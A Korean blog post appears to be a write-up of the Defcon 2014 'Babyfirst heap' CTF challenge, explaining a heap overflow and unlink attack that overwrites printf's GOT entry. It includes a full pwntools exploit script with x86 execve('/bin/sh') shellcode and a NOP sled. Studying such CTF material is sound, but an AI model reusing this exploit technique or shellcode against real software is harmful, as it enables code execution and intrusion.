y0u_bat

[Defcon 2014] Babyfirst heap 본문

CTF

[Defcon 2014] Babyfirst heap

유뱃 2017. 1. 9. 20:38


Defcon 2014 - Babyfirst heap


1. 보호기법


2. Double Free bug + heap Overflow


v10 = randrange(0x200,0x500) 랜덤한 크기로 malloc 하다, 11번째에 260 size로 malloc 하는것을 볼 수 있다.

v9 = get_my_line(&v8,0x1000) 최대 0x1000만큼 입력 할 수 있는것을 볼 수 있다.
이부분에서 heap overflow가 발생한다.

그리고 마지막부분에 연속적으로 free 하는 것을 볼수있다.

연속적으로 free 하므로, 병합하면서 unlink가 호출되는데, 이부분에서 double free bug 취약점이 일어난다.

이전청크가 free되어 prev_inuse가 0으로 세팅되어 있는 상태에서 현재 청크를 free 하면, 병합하게 된다.

malloc(260)한 부분에 입력이 가능하며, heap overflow를 일으킬수도 있다.

jmp 0x44 + \x90*80 + shellcode + "A"\*(260-len(payload))

이런식으로 구성한다음, 뒤 malloc chunk의 PREV_INUSE를 1로 세팅하고, fd를 printf_got-8 bk를 malloc(260) heap_ptr로 두면 printf_got가 heap_ptr로 Overwrite 할수있다.

그후에 printf가 호출하기 때문에, 쉘코드가 실행되어 쉘을 획득 할 수 있게 된다.


3. Exploit.py

 
from pwn import *
s = remote("192.168.207.144",6666)
raw_input()
print_got = 0x804C004
print s.recvuntil("[size=755]\n")
print s.recvuntil("[ALLOC][loc=")
heap = int(s.recv(7),16)
payload = p32(0x44eb)
payload += "\x90"*80
payload += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"
payload += "\x90"*(260-len(payload))
payload += p32(0x19)
payload += p32(0x804C004-8) #printf_got overwrite
payload += p32(heap)
s.sendline(payload)
log.info("heap_ptr : " + hex(heap))
s.interactive()

'CTF' 카테고리의 다른 글

Christmas - who is solo?  (5) 2017.01.12
.  (0) 2017.01.10
[HolyShield] diary - 400pt  (0) 2017.01.08
[HITCON] Secret Holder  (0) 2016.11.24
[BCTF] BCloud  (0) 2016.11.18
Comments